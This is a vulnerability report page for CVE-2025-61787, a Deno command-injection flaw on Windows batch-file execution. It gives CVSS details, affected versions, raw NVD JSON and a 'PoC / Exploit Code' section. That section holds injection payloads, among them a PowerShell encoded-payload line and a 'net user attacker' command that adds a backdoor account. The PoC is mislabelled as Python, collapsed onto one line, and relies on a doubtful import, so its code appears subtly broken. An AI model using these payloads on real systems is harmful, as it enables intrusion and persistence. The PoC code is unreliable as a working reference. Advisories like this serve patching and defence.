Security Vulnerability Report
中文
CVE-2025-61787 CVSS 8.1 HIGH

CVE-2025-61787

Published: 2025-10-08 02:15:42
Last Modified: 2025-10-16 18:14:53

Description

Deno is a JavaScript, TypeScript, and WebAssembly runtime. Versions prior to 2.5.3 and 2.2.15 are vulnerable to Command Line Injection attacks on Windows when batch files are executed. In Windows, ``CreateProcess()`` always implicitly spawns ``cmd.exe`` if a batch file (.bat, .cmd, etc.) is being executed even if the application does not specify it via the command line. This makes Deno vulnerable to a command injection attack on Windows. Versions 2.5.3 and 2.2.15 fix the issue.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:deno:deno:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:deno:deno:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Deno < 2.2.15
Deno 2.3.x
Deno 2.4.x
Deno 2.5.0 - 2.5.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-61787 PoC - Deno Windows Command Line Injection via Batch File # Vulnerability: When Deno executes a batch file on Windows, CreateProcess() # implicitly spawns cmd.exe, enabling command injection through crafted paths. // vulnerable_deno_app.ts // This is a simulated Deno application that demonstrates the vulnerability // when executing user-controlled batch file paths on Windows. import { Command } from "https://deno.land/[email protected]/command/mod.ts"; // User-controlled input (e.g., from web request, config file, etc.) const userInput = Deno.args[0] || "legit.bat"; // VULNERABLE: Passing user-controlled path directly to Command::new() // On Windows, if the path ends with .bat/.cmd, CreateProcess() will // implicitly invoke cmd.exe, allowing command injection via metacharacters. const cmd = new Command("C:\\batch\\" + userInput); const output = await cmd.output(); console.log(new TextDecoder().decode(output.stdout)); // Exploit example: // deno run --allow-run vulnerable_deno_app.ts "legit.bat & calc.exe" // // On Windows, cmd.exe interprets '&' as a command separator, so this would: // 1. Execute legit.bat // 2. Then execute calc.exe (arbitrary command) // // More dangerous payloads: // "legit.bat & whoami > C:\\temp\\output.txt" // "legit.bat & powershell -e <base64_encoded_payload>" // "legit.bat & net user attacker P@ssw0rd /add" // FIXED behavior (Deno >= 2.5.3 or >= 2.2.15): // Deno now properly handles batch file execution by avoiding the implicit // cmd.exe invocation, preventing command injection through path metacharacters.

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-61787", "sourceIdentifier": "[email protected]", "published": "2025-10-08T02:15:41.897", "lastModified": "2025-10-16T18:14:53.107", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Deno is a JavaScript, TypeScript, and WebAssembly runtime. Versions prior to 2.5.3 and 2.2.15 are vulnerable to Command Line Injection attacks on Windows when batch files are executed. In Windows, ``CreateProcess()`` always implicitly spawns ``cmd.exe`` if a batch file (.bat, .cmd, etc.) is being executed even if the application does not specify it via the command line. This makes Deno vulnerable to a command injection attack on Windows. Versions 2.5.3 and 2.2.15 fix the issue."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-77"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:deno:deno:*:*:*:*:*:*:*:*", "versionEndIncluding": "2.2.15", "matchCriteriaId": "E75979F4-50DD-41E8-932A-C576F86DBFCF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:deno:deno:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.3.0", "versionEndExcluding": "2.5.3", "matchCriteriaId": "7DD66938-204A-4542-BA86-274BB232C8C9"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://github.com/denoland/deno/commit/8a0990ccd37bafd8768176ca64b906ba2da2d822", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/denoland/deno/pull/30818", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/denoland/deno/releases/tag/v2.2.15", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/denoland/deno/releases/tag/v2.5.3", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/denoland/deno/security/advisories/GHSA-m2gf-x3f6-8hq3", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}